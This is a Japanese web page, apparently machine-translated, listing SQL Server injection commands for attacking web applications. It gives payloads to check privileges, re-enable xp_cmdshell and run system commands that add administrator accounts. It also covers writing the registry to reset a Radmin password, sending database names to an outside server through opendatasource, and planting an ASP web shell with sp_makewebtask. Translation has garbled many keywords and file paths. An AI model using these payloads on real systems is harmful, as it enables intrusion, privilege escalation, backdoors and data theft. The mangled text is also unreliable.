1. ホーム
  2. Web プログラミング
  3. セキュリティ関連

Dでよく使われるインジェクションコマンドをいくつかまとめてみました。

2022-01-18 19:01:35
// パーミッションとは
と1=(Select IS_MEMBER('db_owner'))です。
そして char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--。
//データベースを読み込む権限があるかどうかをチェックする
と1=(Select HAS_DBACCESS('master'))
そして char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --。
番号の種類
and char(124)%2Buser%2Bchar(124)=0
キャラクタータイプ
' と char(124)%2Buser%2Bchar(124)=0 と ''='' です。
検索タイプ
' と char(124)%2Buser%2Bchar(124)=0 と '%'=' です。
Explodeユーザー名
およびユーザー>0
' とユーザー>0と''=''です。
SA特典の確認
and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 。
そして char(124)%2BCast(IS_SRVROLEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 -- -- 。
MSSQLデータベースであるかどうかのテスト
and exists (select * from sysobjects);-- 。
複数行に対応しているかどうかの確認
;declare @d int;--.
xp_cmdshellのリストア
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--.
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version'))
//-----------------------
// コマンドを実行する
//-----------------------
でまずサンドボックスモードを開く。
exec master...xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoft³³Jet4.0Engines','SandBoxMode','REG_DWORD',1
次に、jet.ledbを使って、システムコマンドを実行します。
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winntsystem32ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add"))')
コマンドを実行する
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNTsystem32cmd.exe /c net user paf paf /add';-- 。
EXEC [マスター]. [dbo]. [xp_cmdshell] 'cmd /c md c:\1111' です。
xp_cmdshell 拡張プロシージャが存在するかどうかを確認するには。
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Wherextype = 'X' AND name = 'xp_cmdshell')
レジストリを書き込む
exec master...xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoft³³Jet4.0Engines','SandBoxMode','REG_DWORD',1
REG_SZ
レジストリを読む
exec master...xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoft³³Windows NTCurrentVersion³³Winlogon','Userinit'
ディレクトリの内容を読み込む
exec master...xp_dirtree 'c:\winntsystem32',1,1
データベースバックアップ
バックアップ データベース pubs to disk = 'c:\123.bak'.
//長さを明示する
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--)
saパスワードの変更方法:sql統合活用ツールで接続後、コマンドを実行。
exec sp_password NULL,'新しいパスワード','sa']を実行します。
SA権限を持つユーザーテストの追加と削除。
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
xp_cmdshell プロシージャを拡張するステートメントを削除します。
exec sp_dropextendedproc 'xp_cmdshell' を実行します。
拡張手順の追加
EXEC [master]. .sp_addextendedproc 'xp_proxiedadata', 'c:\winntsystem32³³sqllog.dll'
GRANT exec On xp_proxiedadata TO public.
サービスを停止または有効化する。
exec master..xp_servicecontrol 'stop','schedule' を実行します。
exec master..xp_servicecontrol 'start','schedule'.
dbo.xp_subdirs
特定のディレクトリの下にあるサブディレクトリのみをリストアップします。
xp_getfiledetails 'C:\InetpubwwwrootSQLInjectlogin.asp'
dbo.xp_makecab
複数のファイルを圧縮して、ある目的のファイルにする。
圧縮するすべてのファイルをカンマで区切って引数列の最後に配置することができる。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpubwwwroot⇄SQLInject⇄login.asp',
'C:\Inetpubwwwroot³³SQLInjectsecurelogin.asp'
xp_terminate_process
実行中のプログラムを停止しますが、引数としてプロセスIDを与えます。
ジョブマネージャー」を使って、「表示」-「フィールドの選択」メニューでpidを確認することで、各実行プログラムのプロセスIDを確認することができます
{メニューの「表示」-「選択フィールド」でpidを確認することで、各実行ファイルのプロセスIDを確認することができます。 xp_terminate_process 2484
xp_unpackcab
アーカイブを解凍します。
xp_unpackcab 'c:\test.cab','c:\temp',1
マシンは、radminをインストールし、パスワードが変更され、regedit.exeは、それが削除されたか、名前を変更したかどうかわからない、net.exeが存在しない、regedit /eを使用する方法はありません登録ファイルをインポートしますが、mssqlはサ権限、次のコマンドEXECマスターを使用しています。 dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEMRAdmin﹑v2.0Server﹑Parameters','PARAMETER','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c パスワードを12345678に変更できることを確認しました。If you want to modify the port value EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEMRAdmin
/
データベース lcx を作成します。
TABLE ku(名前 nvarchar(256) null)を作成します。
/
TABLE biao(id int NULL,name nvarchar(256) null)を作成します。
//データベース名の取得
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
// マスターにテーブルを作成し、パーミッションがどうなっているかを確認する
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);-- (Create TABLE マスター...D_TESTを作成します。
sp_makewebtaskを使用して、Webディレクトリmaに直接文章を書き込みます。
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))% 25>''%20';--
//テーブルコンテンツの更新
フィルムの更新 SET kind = 'Dramatic' Where id = 123
//コンテンツ削除
削除 from テーブル名 where Stockid = 3